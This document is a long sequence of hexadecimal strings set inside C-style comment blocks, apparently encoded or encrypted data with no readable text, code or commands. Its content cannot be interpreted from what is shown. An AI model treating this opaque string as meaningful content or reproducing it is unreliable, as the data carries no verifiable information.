f81f463745543fcc92332b700a26c0263f9a3a6ca2dca8bffb99a505098b7a2a7a90d174842c1fe6ec31eb5f3464c5061fff7a47190b8ae6b3962e1b8544d56f614f16f373d40a8e01c3f11140ef7e9f7275c522e824b206c3879ca4030078cfb1e38cf4c6af75e4393fde34434d38491e0dc7a844545fb281f6d57eadf796ef458fc8ef983194e52b6a1e2e8ae8f3a4a8817976f584c120bbe9aba2394b4e33663b0cb0631209c9f3a7ef467479899be315555b84d1480406afa2f9f0cf1a8861036a45104e305ba61e68e9f48c2e88a7c941694dc54ef3ab28ad41c08260b751bbd8a3c0556ec0c1170f3d91e989d5f71ab7bb67555b500f56771ce2dd4f657c041dfdaaf94aed8db5aee439ea33fad2429cbf99df111af6b7653e93f03b21fb45f7900a069e7eda54289c3b3f025a29c407d63a9580f3ebac650b2cf318b18115a7e2812c22df5b4c4fb542b921ac59dbd10148ce400a3b83e95ad21fca81b486e6aa75933ce490587a80fa415502def59dec336b06261ee82d73f197b400d90d1b358bf369d4e2bbd8e0fc4fa6117d3fd4585a9f3f434e9e45f7f81c2299be9540b428adae72e71b88835a80262398ded7f996056408a5fec890ed815b0e6de1be339df08decdf4ceabc88e4b56a4b7962b9e43e0e50a66eec056e54064d83538d8ca8bff0be973d5ba621d9d7ee91e6b1d2cfb38621a90cbdf9288d087517a001aff4159abf8bb16eda72ac974334b2c29c3188f23f308a8b403f9f9a2105820fc640c7dc669015539504ffad825ef27b1a88a605462032eb3c56f2671d3167a134b29601ee08e0d723faa813f83ac87a59606e8179c5b2a256c8089ce2e00414a988bb1a8c4371f2f3b42861a73c2531c36ec96f27d1faa9306e2d4f483b1539542d37754d77e82508e7252b5651b5eafd56e0feab04682e5e770cc24351daf79a4f252e18ae86f179dd04a8c03c2a9de258b2053166f6980e57d318e8110a21ef65edaeeda9ca006219426cbd25fd1c22b225f3ca1e42542adac6c9f328bcdb0b0f4c0f8cb3036e16f567a6508b52754c5930c50b4e4ceab074087b8832188374890d632aa92b0155086ad2c04cb406aff06fac61430a87bcfe58bb9da850db967bff8fc17d735aba0aa6b43e1406a279442226e6d5410f2aa19ff476aa82c9e602a84e99560cd8da61286f0f3b1325220cbcc904aec753cc7ba8f49f8b97f5b31fc08534a3a07effae882e8106661e11a926d55c021eb5ee2b620cedd2a0498e3646e7692d7c83de7ca351691921a34452ec1b75d75e24e518477c99a31e7bfb1ac8597238048286d9316af0d5247c6c69e504c88f05db6e495d388a4500e4cca6419dc93114e3ba2c843d78ea0efa7e6dd676f51eae22e79303b92a0fca988b445777db845fe1f5c4d95936cfcd3c831e162b*/
/*5b221598c71041502d1103c1d253fd393f9895ca7cc362f27e516f708a9bcb5ac162f5ce72b4fc2a3cb554f151ce82c23f4867fb41cf7014fc929f63d758d89283b24ac28a4fc765108ba5acd984d147144b0362a93a47f388926ec4de79c2553cc38dd80f49607cf906d86ec62a50087f5405f35e5c7c4f30109b472e1b55d09112d83f45a3e08791dd2fe84d4eef29a5f95b78a4e5542acb48e7cf1dde9c03317e420dd221c4b83e1919d56a5586f14cf1388ca24633d9c3ee61d7a6cba5f2fccd5a2150a3436df879983f240d755d01d1dc9858c4c53f14e5587b3d11164f9663601290b74e4ac213ebb90655167ea1b4e5e8fc311377776e4bb4e7eb8250fb3e8b445eb9aa050462469f241a57f1a0a6c9b66e9ff693225d0501922588bfc7087f90c2a63c266f0a534f8f3bb302bc68e07f84a7aab2686acdb045e8491580f6e1b978eb12db5c2aa3beb11b0acc1fa022cddffb80289b4e2cf11c7ef590145a2840e3859954553e9c3a14cbe378b8b5dfcbdb51065b01187578f2bb2aa2ed76d7f582e1b7c6c50df74942018e9a82630ec1731e3d668d9ece2840757d2f20c02855359948d11bf032e58c38b6ddc4b5094d8fe24e94f30e84d5f0367c8301d6476fb5e7f3f256fb0e22834998493e87fec38414196e4f369026b252a7e3ec00cb68f15a8d73a5337312ebbe93d70110064af7e65bc041790e8ad7610f2cc8d7010cdb1ca0126cc4cf7f19431cc98b6c23101dfb761272b33a09f63d715f49483acff989eb9db05dbf495d03207b80ccb5eef585659a1a1a4ef5f3242adc40c145aef5ba35932e9a556c8139660cfeaab914154f44063b329ebdf9c70e29117b2ef424391681630aaa919f94cce1b60dd69cae358444fac7392c1e3ba01acebb08c84d7509e51ed1c73a238ec98fedded8f5922d0906fb79f4af508e40266f387fb2493c06d888602c2e9eff19a6cb5de6cab1347f47f769c4068ca9fd56f124667020c9e90e1ffaac885dde94b7d8af58d67a1208356a56f7aa57f66ed0aade8bea6ae069e47304f15cdb3ce87c0ecd77239a44601ee1a7c2bb756c925dae439f657a01e327555305f758e8f90607471ef638bf95cc6b34a94a24575835bebcfb714c8e1d0bcd84f697e8f287ff8a42b44777d6a21f8858c015a63b74c1b7e9be43397904587ce98497c508fa1434e3c79731dfde65cc0267cd9f6916945708f5dd310864c5d1bef8491af47ea2d70c41dec2cac0c2fe40fc56f2b9f09375a93198a7277158952591e09845ec2fe4a605420a8bcf7ed6884d3523098eeeeb894933a4f279b387433f7200d3abed7675c349410e6401cfd4405034c762cb02fd67474d8e1641057d7a37dfcef9ca2d6c649b1a0cf5f2cbe1ed23b334e992938515bba063b8e430d3f81da7aa902e92ba7adac8d223a24de1b752564ba8e97477234c78789a5e68c9e2fc9430ccb091eea7fb005c03a6f58e6f75955248df38e72e36a09a1a0f88bb37eefcd6dbf496144991bd01c8f1fba30434c20d97e0c97b8b7052394b7dce03a78155f82699cc5ebc877d68ed0fa09413adcc0cb6bfd03ff0c52f7e266e87e37544aece2055c54af913f29883c9aefb4e2e1a35d9959b42c1c161d50a220ff7c65da2a92f4a615969c4f626213ef0cd035f7d6770320bd0e34cd6a6f53beae85ae1dcd3796babd46462792112a8696b4160386a7221f48997ffd4a3a821a5951fe878a2ff4c20bb1f5f764bc675b7f362ad9f82eebfb6b8fb0317efbc11a333f21545bd48351a8206dc22332cc36e79cf172a4ba9f54ca61c52bd82245cc50812e8f443c5f008333ebf1394e2bf0169188ec8ab2a4a16ac5daf62553149a98d145ff9b5c80b8215463917d46d9b329edb3735f6f8e15b0f3ec0c89d855b5927f27dda3fb43c0384a8a26b8a17148e08cc6695bafe82c4427fe3f51a4f8840dd35f51de8f1ecc1ef9f633fc4bcbe709b2f8b7fb84061dadfea0483f8e08956d4094df368a9869fca103bc4b18c59fe2e605cf64cb9c6ae12b43232be893f44b3f05eaa114513b0ea64a0a709fd0caed837c5e920a67e899d9c9a924f4deabcc6869ef2c4497da2194c0e9d7bcdc42f367f90dca9aa4957032931b3130f173c57686d4a53994c7c5118c5a5148f54d354660ac3f31d219f44961e96340299246c55de7b41fd3b5170a86ba8f06fb93c980a93d5ca158876d461860d6f262025cc3666f0bf2e87284d16bd44549fb9f575c224ff74436ebdf02c0cb0ab25a3024c5bdf190feb3cd83ed192aa8836658ac13b6faedc6033a573c87a09214545591f4524ef787da737f1cecd7c07bfa51a08b16ed6ea49da531105e352691f4621848a2713413d53a35a1d66fe83a7fcd24c64fc671e166bcbb2ba35082ae7af731a1b273a3472b5c624f1fafe23e0892ad95cf4b94bd001831ef17446d64907561ab30ebc083631818753efaaf0f9973c202016935f457b3f6c574315df489b958e277039d6686144f067aa29c3204c0cea086991876b653a301162ac1ad89e65affb5878f6600d6e3f8d7a6d3367533e7c2fb13ae840d477e02673bcd36163112b2da70677e1038d5091c1421f085388b93b323eb1468993355834c18e5366b121830cc4e96446ea000eab8f8c4b30851907b6aa035df77459d3d0e064ee87dd6739685a4eef3dd97b67bd13da0df4a3c958dad7d0c6337fb4befc424617e5ae9399d1fa52aaa4e18201d5969c227b706deee6fc07e97ee55c0651d584e81c7d955461876b96a7ef059fc61f02f46852f7f2e09f875c41e04c74385bbaa10484472b6c7f0c1137*/
/*c56cb6f3c9dd99c0f9377bfac3acfed38f82e71ba49cd94d670f25e54567535ac3ffbc475cf38926c671705bcbc2c08303e5c079381473332b442eb8bbc2b56585f2efac69cfbaefe7b1f68ba11dbbfee08a7301d1075cc3871b10603d6d029c0dee4e58a52c94983b1bf8b68139f4ed92791ddcecf5f726e186086407d8f609d19ebc2ddf54405e4f8a6bedbbff3a800936ebff2e9438394f896d4a7fdd4e79a6a355e19f8713041904a6e3da1ce3490992bf5784934598550d1b84f677d7e408684572c54d1933e354fa71b1d6cf0e26ee75f6f143ac95a5d0798d12f2e0f314a55fe4df7707f165fad154af2b87f5cf15070c9664b914dc0b358a38cf0276993de3e1f624070890275f0db8baa593e8551c836d3cf00ce9aac7be1642c0114a274956e09e13149356936a250b3b6846c78e12565aaae6557ff42a3e29a65afc97ee285a597cb7f9ec17c6705a195594f9c19394de3fbb497e13233a7793d239a23d7fc26c402e60a725ce438549dddc2a02dde7252b6413dc34d8548df58fae1bdbe704bf6cc9cb086c3060eea4b290158cb4b1f5d9a8ab41f867a7b454577ad4185596142dd2f503e7d9670c17e56b19c4bfd9f66e3f02066e3dbe456122e1563399ee03835fabda498d08197564ed0e494b5cd0dd3ac1a125df36162b1dbf96a5e744bb6ca1b6b6cc31c44c92f35a40524b772d76b6b2bd53ed46f2a7177a3c15e052c7f02c3c2e7666d37f01545555c67471437306c092a894c4789887e7435b7c34a8fe3be99ac1c7f5bc9c322701cfd032674ba48aa4b61c8fa0839fb03228532836b991a04699f1a39db2ec35513233053505ada9582ea672953e3850844ae19804f0e39492f8ec175d212ce38bf7d903eabc9c6d70ff4c77d731794225b4a4d9f102a0bd1d586381c80388f9a4293dc1561bc5bad179a9ca4662f53a4797f4c5efb799e08d85d89f7341a9fb5346fa97edee974ea2eef80364ce5c60b8eee19ba31eb3dcccc186b78ed4073d365f6fa0c04bd6838afa3bf52eaf6bf9d487e12bf4eebc68aca4ea128dbc30eafb8d19196be2f5e21d2b01bf46f6d6b854b8d20d717fac51fc1a79327f6d8e7e6189c22aba114f696dc219208a461d7c5144cec692cc2f5f65cd00110099e3c11fff2d1924fb427c44f53075c8e3aefb38a2ee9db079e5d28a0e5128d1ec54073d63261582f2d46852f3e0e8aa92815094cee9c6d3e8690b81f9d73a2d4d2ca965359be8cbe61edd12714a2dce0ebbbd95552c340121fc4060950d0e21852e7ce3821e454d1545d46a325a11ec93614cd627be68d185d51de32721102b048806958ffff5791fbeaf4eb52b764f4e92b35855756cf4b1e4dcaad3f8b0babec09e531b98808b1014655f9e566c27da8d4975bb176b86a702cc83d4bf6dbe6045ef59c4c6a42604d26c8a7daa9cafe02f1e2c461135f70fe57a0671591fd22ae325fa0b3aa465278654a274b16fd62067bbadc2ea2dbdc48295c2b3d349e2b24e9f85b257bd40146c0624e694e1f3795c7f658b66f3c8805d00d8b3549e5a28c98d62a23a50a16f30160ba4797dc88084bb6766ef4d66d5afeca7dc8d457c7a23412e0c07d3f3e71160576645cb7f66113df3935b8a86b2697dec7f487b5a0679379e033e68c0b45fe0914cecd3ec41d845aa25037578eb72539cd9883d1a70b3c24eec32fe6760cea549ee468c76d6e291223b93c677a4bd3d7bc8a9e08a8ed650039b510083765bdd7e60c474afb24cb64b52ae1cca5af00329b6ea7d3fd9061bc78303ff120a0b16af14a30458eac3b2becb01fd0db04c528a586181deb0f9150695a3c9ac9792790dca616b075584f5ceb3f076ffcd0405351d7472a8510b336d032c7714f7234f19927034e1fe92ea121d1664e76f620ee839be93974094cdc17ec625f45d042c08eb850e28fd8faae5de924ad11ec88eab098a0abb797c3e039b8f32336639f8f5b574189ac3de0112c21ca20ee8e2df586f6b6677e2e12116b423e89a894d9ecf990b57065c4758359fee7778ee50a2a84abd36f3e0de9b1b5ce8179a53a6b96e563ae12061277561f96b8682d110b7cc35f28777a1a72e719ff9e5dae72ecf252434f898ee89af06e9132ed354ffa727b5026a6bd4ca455281c0bbcce66ab0e7cea140148ed1d7894c3ae0c9074a878dd94e19a5326611da473127ad7cc7064c58451e680191c81b9d3669c094b9404a71a6018523d829a439cc9ed8b1986a4827c9cccfb4bb182ab339537bf1025fa6b258f04ad057b32d60a94fbf2b3f22aee977d26ecd0a9932eb8bf7675add257021c0b39eba4f553bd2f51711ef3de25ae7062e1b5bb5cc916e656fe5037321e4c72975da42bb265f440ae4c909991a45da327595269be9dcdeb270893c4cb60a5c70f070a71c8821b2eb381ff8e624edfc6fdcb655fe521a31eed5eab5c6f1bcba12b4da8cde323e3d69aac223eeac6ec1823be8dd18d3f8f6c62322bfa594e7d9f9e780e4a2489b94cc9305051c9603d946f7a8155832f4020d717bbcb63288895a7390c28186e2735a5f9762cac23470cb1826e699f8b261d8c12414f746ebdda86a69ba93ddc278518ee6e2679f80539b51fd497b3b542a0c013fab9aaf9b0a286473d22d98584649c9fa108b65333d6a1645411cae6a40dde7e52909bc1a603b7223ea9d580ddac1afaa2e50bfaa341fdc7836719cc0cf68475e0edd7d85c3b90276480403e0487a937d1e9c7d8372ec2fa4afc16d0472692210fe8773cddaa70e019216dbcfc95b13189b936a00d9b4793e7385c719c409a38f7267207644b67654b34e*/
/*52a0d0b6ecca2b33a292cc40932b18ed2cb17ad4370c6cf6ab8427e89ebb090eda9c1c852dd13ff0eb814ad07fb4392560a631de4be7a164a8e528eeaea19d540af1e46a969d64044b0d5fdecf6c289eb46c68928c3c78d3b5609f49e3c31cda5187f28a5f5c903fea7abdec04f19cb43b9257ca11fc9d0a09c3dae47261d15676fa277c13bcf461c6288219095e0bdacb605746064640c5392a508d3897513e18325910528f54b2fd4a4100c5dc63c1619e71a9b41e2e041123380ddc80a398bce5146b21eb58ca2495f1756d9dfd1b969be6f7a41e0c356ee35fe3b283fa79e01195cd8a57df15fbde33c2cdd443113c15a3107171e2ff0069f5aeaddba2392f1461ef5b6b9f9d7679ce0788ec01d54688140ef8a4f0861dd272c709b3621ea32920991b8a764ba6a6246ad88244fa74ab49331b2df01a7192650c2f51e3c9d4a5f7c540c8ec1ed352f3bce70496d09990c098df30b1164a8b4a0893e0c19f14c5768f4165aff632a66083cab784b52c3efae08e22daee147aae0333951a53b2c974d264da4267acf1dc7431e16f58a4d0bb93bd9227035a972275600f114b355290b34657c88dd2506cab6f6d7890c3f56e0adf84ca0a9daf63182788d7a9b40b1ff16b48b0ea9b07814ea4a3c8fe9a7b0d8cf8704cc2194c0a60026603a98a0554ad930cef8a11e5145a24324a01b6e0f37fc095f52762d370997e8cce9b4613d282401675b1f91868cbeef7ae6eada617854da2d3d396eb315dd1ef762c53c692e4e966f44b1396cf2c08c5e2ffcc4bfaca0e696ae255c5d2fe9e90c81fd0a7272f70ffd61397d9226bc8089c4dcfd4dd8f1a05a6380d7165ea5b3cad9c2a913d4a591960bac69d48a1c71ae6399f785ccf10efc7b8507629298241f21fbb15696931f4c1a7ad400a16593b38926bcfa47cbc2c96bf5fc9835522ce3bbf408f8522f4ba0b75c9b8e7e62849225d3276e68ee345e4c092e584374d2c8bcbf5ac0e6e1ac5a1af661be7c19256680416c1e4890ebd75826e0817ad8361dd9023a2835830f78d4bde5bd2a9931726a27170959619051a7925f6217d3e6363430a946738991eea533a8968ad34bee7c2509dec1385bca4fe3a07e4b5eacce5452dec2591e0e20690b053982ecfd56c776dcd4bdb138bdde692cb3ad0aedf5479e36d7f4aebb8fc6363706148a29bd57c514a6727e84808d2f90571c039bdc054e24a534e6b3e429ff8d061ce244e6c92c4b0438329fd9d51101f37407f654bff008497ac480ce5a4d3ef7d360946ade16a247a88f143e952c81059d5c2f4ee1ea1cd06499ad3119ea01d87ad106c7fb1f2c73d11730c082490ed57e326f60a21aaa3c3333248e9e6e42b2bcba8d5478e5f34cb4722aa292d9e65a89104006d0263fa9613b25cca70a6bfd48c45b52f996016eaf33e601955171f08c8aa0bd16abd829addd15caad7138d1eeae72bd1f6df9ceee5a6e831ac52e15b9dda71bc2065c7f1837fe263929290121f2f1ec4e8119cef039139149b556d506b05b5116b4389ef6c311d801fe378e81d03fcceee544ccf504d26efec8f9656bd87aaec7743383b3b9f0571d2a5fec1a8d6dcb26825e4012059006d70392437b0e12293f57561bb6bdbeee613425faef7c691b3c802d274b0a646267349881b92f2796a76e4740d9baed72456b82afcf593d430f288386a50b47b90851111635cd045568da4fcc4f1fdc2a897d0a8d311609d9f90397ba33603d76d5298d1d86e0cbf89d0271eb1a193e27ecd9bec211492664235d52a2cec0e4f5bf65c8842fac82f6875b1d8dc324387e5e4377177bdca6b2f19b226fd334ad6829ebec5fa122e0b9d58ec60d01deb0109fe6b9d1587e84fbff999645768d56570fd3dcb87555322cbf6be050c3752febcbac900c9034c2e3c790e5609779fc6d4b4e31b289b9e1d77421a00c5bbef31dd44bc0736c1475f3c5d2e0b20bcaba90564cdf075607788368bd2f457326a8c8039d86688ab8bb5ab7717f25ad83fa8a4469b5e8556f36db40d1e335eb3b8523933b0ee8badead185e4bef18cb134466b6416762e2f8ab2bbfe2888799b3a1f8c1a0f93009c72bb5fa48da753fe4f01d0ca26634fe44aa0b28ff0b9659ae10d15b04448b58e014f54bc682c991f1de5da613d460290d42ed1533ef561a413b67a9d43126a1952ddc08d692800b582d3a5071d494188e92626431ea6a76321c52197d6664e65a282c01d90b417ecc7e55fae51526a8ff0cfc4dc4b2c79ea8c43af1f4fc5a089075db118c6535115c48d660b88d918515bc65b1977185f67648dedb81b0ea47f1bf37b0aca0f2a87e7965e0e50191e84dbf9586c27a560d5f5f45d9af8dd2ee60d9dc0442a98c61923e9e23c6317f8ed3fe0431eaed6c347f41adc209801a24b66514ada7d481ec3fdd18276bda56b42340bd28a8bc1af968fcfec304e0c3103a4e8a268072859ebc74724c77586dc66df5beaa8571d402618b0b19042f0fb7228cd6145af523d4cc62f10f67e93a95cf56ce6d1fd6ed7bf26cfb2d0a97c3fa1e6b70f6c477d7c09396e15936b1229f09d4f2b312aa4392c0a0226797e04200ef7e23e69934facb405abb0fe360ab8d752b57324fe53999f91b14fbe1ef137d08a0d01e846e624d3a026755cbc482d231d093a4fa5bedf5c33e61a4a48ad20bea89c686d27ea10c5276a5df2819658aed9343ed52688a8cb55a93c47a1ccb916be151950596cbec99a9f0ae6018797f71629507bd25adb92f55775f3f394e93e7031cab1e2fe49a60c0455fa08db1544f23b00f8030edc9350f4a61f8a967d386169efe0*/
/*fd4b88904dacabfcb2ecb7b942146158d35dbf53cf5e61ffbe1cba113b38b67dff400cec3f02794bc8f97df3a3a41cf7dd5c54aa87c17544342eaa2be3cf1fcda4aa159a8e59873219e1da7ba0552d6229e30ba4d3f9d01532a5d9ca10d4f0c67ccae3869fe3675bfd764c6463258f1091bc4e33000d65eeca6b243027eeba1330013fef1243093e218d71a575c66c1ba8dd019a9c971b0e61b95986d399f268f69d7ae0cb14e17830eaeaf43ac814be590b43073d4611b967929e086632423aedbf325c9c0eda31f4938b426a2917881e96d374509b836b18b863d7d7fc8d3950da6e53024d2da5e10f5bf2c77c14eea9e059ceea53309801f0e521f32b3b3166c172634782b5ba3318c6e7db99af7ed40b5c91be8877b8da45520028ef762953b328e55ad6532f0b107220259faf610e810abdcccfd570729d635890f51feef8813d6ae2da0cbf9b955e2d672e148e9ac5343320b7b1da466a2c068e2ec98df3af0e241bdb041e36096d6152ada12e96be24d689b4512b39133435112e1bc309b8263313a39ea2cf9f15d839730d30a5000b4f592c34de49009b69a040bdc2dcfc950cb1b3a85c8899bb79646301c98aacf7ea8d3b1d597789f0ae195f3c60732884f82a45c18e72966a30450870ce7d93e129d3c61f7bfd81ec76606bdde69ae03a6b7f4c4c7b669f5f05ab7f0be3d50a441e966a4e0ddeba9de163d9b2641c671e0d8122725f9e66298dc78df65acf4e5f8197d3e28d1ad8545c9504e22e607e45a410b6c56f05fff560d548ebcfdcf3a5a3118ec13c6a1ed0b7e1281ba430f514fb959e31fbc83e13cda6a9bfb3600276bd4df37e11a9b6d28b03a18329dd86f837c21daa6f1d0fece272cd460b239f7a8b8c89716d53f698609b403d94b8e67214827558925d398da53e847266c399da0b39eb229d344891d261866fb3bb68319079f234ca23811231cbeb14b7dec29d8310e7df6aaa1f1f54016fa955e84089992ffa156b4ef1f474b71d62b3030db8b0faa923c072d9138f48ff39ad71948b05a63d1f4646292cc96f95686369ef63775b1dc6e52c2827646098fca54b6b3761a5ba1699349437b4b9e0e510f61f7a3bca6f62f6a5229d66f2d4b03f0e7cc3d5c8c186e1b86e9c7ef36d9dd44c998d947c3d6df2610437f3180368cf4576d7134925110398867376a58f9ceda2a5b2704a09badc7f8a30e8656ac05f940a071503adeca1419f2691c1a03611d3981f1f1dbac8b736c8512de377f66cf224e7ba8e308ccdae5609001b699d7f91c17ffa25bf30131a33d1ff1e7fbeebd64b64bb68811a0a4347ad6fbb96132d0d168656ec00935c8201616624a1a4e8266459606f5b701f39d139c899a8f74180f7afd979b0d4c1ffea89fb33045dd78d7e7acf2d16b094465833a4c0893233c1aec927535a0b59961f7250a0284422ddbf80cd2fb8149fea3486444a4fb7a56bdfbbd3435dcb433175a3ea1523675845b9de86bf22e1fe8ea9640e356fd65d91584aebe50428f67b747394cee6bc4931584b9fcd387e07e2b685703c3e1e887b76f540698498dd3013da015c764e1541ba87b19ab56718c14d252f1eb50fbd77d8f7e603872a51c0365bdef0d4ec0b82b862b5048dd434ecdc21405af6bffaf34709092608ff55e0ea7547c40bdc7dc21363e6c465ec0e3109f212bed29d08415565a4e71a8b1c4da80e8b82f2d6e27a53057765d72938e26c39ee9be8a01680b09b849f54c23d3196e2ac5703cda203c20baaba0957fea4b0482c101618d17acee9ff0854b6e45b5f9c491e5f54e02545942523cba525be46c7ba7dd657108edf661ce9e1128ebc0a6798ca3f34030b193c3fd308f54c0eab8163d0b68ccd2a1a87d0b3dc21904b991dd238f5be57dccf783dc0444151c42dc9e025c99ba3e4e5f5d5a0c38c7ef23cc58a26730a286bd343389346266ca111f121c8ae1e1561c4f1a7070866c645b39e158745f9ac7775169eb033f34df1e7a9a4b9e558367589dc1b2aeb04b331cfb1ad458971c3b8cd79793225d25426ed3dd432e6bee06b920b3ccd50367ccbe4007ce424d2223c6e6f7f9186dafac81dfd0468b788e377b65a82026d4b13f7f233d684a8096eb7e880e46885180b301ade6b9213cc03c6eeb20dfad9fc854d844cac5a40e354cd0b17d82cde12c038aaec8305dc167200220e246542b89d7484c2a90303b21401fb4f27121c80d5cb722d8a0feb3a7f2125a3870c5b13da602555e18ffe76d0481764329fb375ca709b9327383a6c871ed79442d609f723dcd4b309780aa97930de2134326f52901216d3ed2b5bb2c8c2b599b9f0ffe1221d837f3e4a2750e748f4c9a83a51570428dfa529671dcee295e87d53a48082e622c4849ce43b09dc3882bd8bc97e3791e0c9c74e1e33719cc44ac1c1d7f154071457f20879536d6208e0cbd5606e5b9a706be70f4ee7ccacc755e271285a2abc0de2c3d1eca9fc32f6c247b99f6e258af7be35271129489b7b488a6f02fccaa3b13880d70a4eeb6d84a85514f46d0e8fb605093d70d41062109f0dd2d521abd790df7e31b8b938c34d67d311bc08bc92b3e951976e31f94b48aee3d78994951125b54ffe49a6b5654d1721b9beede10891b25c2945f88998f601d2e2b4a43e6fc1ef8e4a1a5bd5dd3d078c2a49536e375d4a08be74af542ded54d826a9c709129aa726eadcb1bf03c714394e91676f510207a018855b15b2e35a6c347049687fba50be8cc4e31aaefef6257704fdf9968afd130c55c3852c7412778628392fc4f0894599315a1f452ebaebb188495e93c89551d6d5bb91d3*/
/*12702c7046781664a87be0d1756b64c011242d6787670d05f2751e129ae25f18527b5688858d2517ce9996c2aae281d8d1dc1a66178f211e072205890dac7df918fa05c9778e63e58de053bf82f5da650c3c70fc6fd2aab93b2d94cf1dc56d758807d47e82369b70a0a32090a879680342f00599a4e719dea459884119681ec9c2e2ad6d461ff9a6dadeb0549d1d2956b48c485973ecd8a4fb24bc6274280debfc050dd157e16449fde8e259b6b286bdb38610362c6a1833795b871b6ad3580d95f14fbf620cc21375563e9b9b9fe1c6608079aa8f22ea83f537e3c814d9e360b92db67900da8be64ed2e80387c79a7cfd5324b8f35fd6e304c85af0a904af5e685e50797ea42487faf1c7e8a523f4fb5e3c5d48da2d7a0752b70e4eba67a42d5f08f66ed72a2ae81665aa85d3a23ac5c9166681efff05b066e8022b7c757da6d42ad19ef82c27b35b2b31dc8fda1b9ece3bb0d1b9777b8a9afbb583940d1de7ec83b09bc59c51efb8637bd91d4de0a39894388eff6af131d359c0fbfaf7a51d19cc1113688650ad21d26615695c7d17879e307aa3b7abedfd33455c9b124592562e7dddaad8c7914199d9ccb37087789df8c139711e0a08cad4b27cb97ca4f0b02efa46c68a862efb420cd1e640e8af4e9fecea385fb2b078cae102e6b9bf7ad06b77eedc69482ad0580af241739b7c4ea757dc326900a116983df46f3ae2b578d1b30d86114cd9e2cbecb6867a00d0ac24e721cefb84c5cb781eebe43d39f0db45e058077263783b3708f9ec4539de308ba8e7590a922202c2d903d9059ee6a464c2c4ddc2b610286f1e586308306da5a97916bf58d368df7ad39be9069794a71d1c657f290ea753af757e1954a81a267d3ef786699cc388969910409c3f6027d826f20ddf99a924e4131f3c12849e5c9ce07192f9f2655b3d8c6eafeb7d10370bddee5d8d0972bd7f3a08656d68b4432ede185f6dbb81cde2b1f7805bc156bae798c452d775ea79c3883b50ca72f439b2bf78f273218a3571b2aa30ad1595d4315ff2694be248248ed43a3c59686a93107e9b53d880ccaee0bb97b591bda5c3e89a1e22f0929cb892e112b714f882713584cfcf27817b4a97d73ce25bca06fcd21744cd70bd317cab6f40a9d073f6e1c9b0652419801d9e0ba21298c714a6f0a77b268934bcb1dad3a681bb9ada673bd8a5e9a9db2bd6d0e275dc22b81150320c42d49b9aa74c0942f57dff07fe4eafda3dc65ce8df33abd1b904f638d1bb2034fea88312f8cee34ee3b4683ae0e6178e9a4f17e9a70cdc54e1f7105f7ae0a292333d54f4fadedbd082ebbbbf3234afd6a39f113a2492b7ce5da6630ec3dfe7f6ec99c08db997948e3373a504408752eb3f56aabe5303ac9a2d6f7a44e5d8786c05d9e8299bf6107ec458c11c8d854e6f6cd4cea72d50bd8fb95dfabdf3bfbb74f4d1a2401b05f35648e86cfbb058483f5be921fc3948c1dff59369261eea9a68e038e8d50fc2f063f9761cde700ff83c0dbf4577a007ba012bf47afbcf39730ed9e1db02f63c6f185c09259be5c1d776314d462be1b62007f96d2956221dc3faf8a164159d8c399af9b56bf7b86d2bddf283018d10e45a9af3569555dd6d341b92a949e0043bb0e662c374891b1f14412620df77c2776550392f34dd84e57c23229648558bb6bf2a09bedaef81aadafd01647995d58d824b6d1120489218b2ab477e75074a723a33d3ecb265ec1995cac019e6967d52e45133fa45d35a907fe8d0a70af7d962d242d6032ddc67e6fb996469bbbda05f49960252f277b832101354a7eb168e090b4874254c5903254c6099e7877e208b1f4ada0042c916359100e650abec41afed248099ca7a9a745c72cb9ce312d1bd885c7c5caedeee87810b81e5154c342f1f73ef5e990de574047dd32120e479cea0d6e978059bddec10bd21a0ecf5fd12d642283e5442883514c7f487e368cde22df091b941c9c1c4afb7027452c256e64d08805f129b23f63557c86b2f9e700c647d4460ab62ac28b55f3d642eba09c5ab14180a3b4d25165c11a3fb41fd766f70331af32888b4f04312c0e6b22f31f39c061ba683ca9fab4c9c1d2c0a8d7a87905863fbdc7b42ee64dc7aa1d5787c5966875395e8f359c30fb3f6b7a02bb3a30d3edf95aaf6cd5b5ac8acc5a28d08d0f2877b8cffd33696f2404189f1fea996339888aab6bcf897644d62a6310695b14333b19f69e344957e24f92a669c469fced357caad18c481b436d4da029a17ed2ae9d7cd37578995435ead7e0e5d52e6e9d6d3b4ae73b89fa71e5a216907271f83fbd73b7c01b8302f633fdb3ee60f21515191633c064bd5ad934d3a89f9296fe06a9b948960b03265bc9a15398905dcd48f867dc969d687228c8226966c593d262aa8ec1e4963c8f107a8265d29c2aeb0eeb46671c9abc7faeaca6d3c6d2849ade61beb7eafefb76a258f52f1055d493e3baadd07ad089c74c8f5d526b382a1c3f42d936fd7aa14364bb2a24c78e02ecb99a90f41c579165e26472771733e683ff1282b7571b3042895f853b2c77c09b61675f198ea3264af640f71147ef8bfff4ef501f6a11df8d73fe7dbbd5f4f1d26e8a851bc27038533137a9f3969493120e51004232daeaca1180726392f6cc6414c73a74a3760349d81dc0704f37e4e049d3ca034ecb326edce67cc2d3a41219820121396a1c7b33a6df8b3b71956913c0da7a1ab7bd2c26f0fc6daf8d13afb1e8fa913ee3dbcdadcf049add1b8706f155b7702450f13d1f50a979b944124dff5131f948664591cadb5cac53c163d230967c71d05996c2a*/
/*e3d2a0e03dc735f871552429578d98d096a11376cf8f6aac913abffd2b0ef35bf96b5a38fff9a36a71a284c1c441ff96b994e759962f07b2d90f706299c5b5e6945c3e2a8da0dec8d57e41d32fdc5bd5773641ee02e2e947309f6f58d4a918a00fdf6f970603fa054f7c97c1d97a33331021d81f0b1766733a31b5c78afd547f140327de0532f7d2020748a864c867bb6ad4076549cfab6b3912d2a1bac0cee24c45409fc13ec05a39afd33ddb8f01de7679410c8b1aa55948f6b051fd98f87ffaed693bc728bd15f6dfa84c7b9948eaa972824b8103b0ce1479e82cffe2be790d986b283df9e24254599421c44fa27131eacfd2425bb325b8c8b4af7f888651ec7375b69294e468fce295e65eb5f766524802232872a74657b92e797812e94221e1d2cbf1d84a4f4c209501da7f1a369a07b046b4d41b02c196074f07dcfdf6829262ab2cceccf81d1cf960eeb3b747ebb0e3ff4f85eb988e33ed51413f7888988e2416b43252fa33a505bef798fc9a06fa8d9da6cfec41591925449626289fe046222ffda053c777c5f770077e4efa0d39e3f91824f2c512dbae649684823c4accb264c4acc9013558a3ebe1c5c6c54c0b7083298d1e4fb6ad1ab41e4d09fc5b51a0246d957632085d84d699afe625dd3e6313729b05ba680082de1eb01590300c747b906f0396d6f973fc550e4b9f294bf7bbc406dea4fa04d14ddbd995bea7b3a50fe2e00be4183339ae181fa42160fc0b74a116e7e2fff61336f590c9345f39067662edbdd7a5da93f9b72954b24041cd56e2c73a9b821bc1dd0414bd368a07f4e2763a8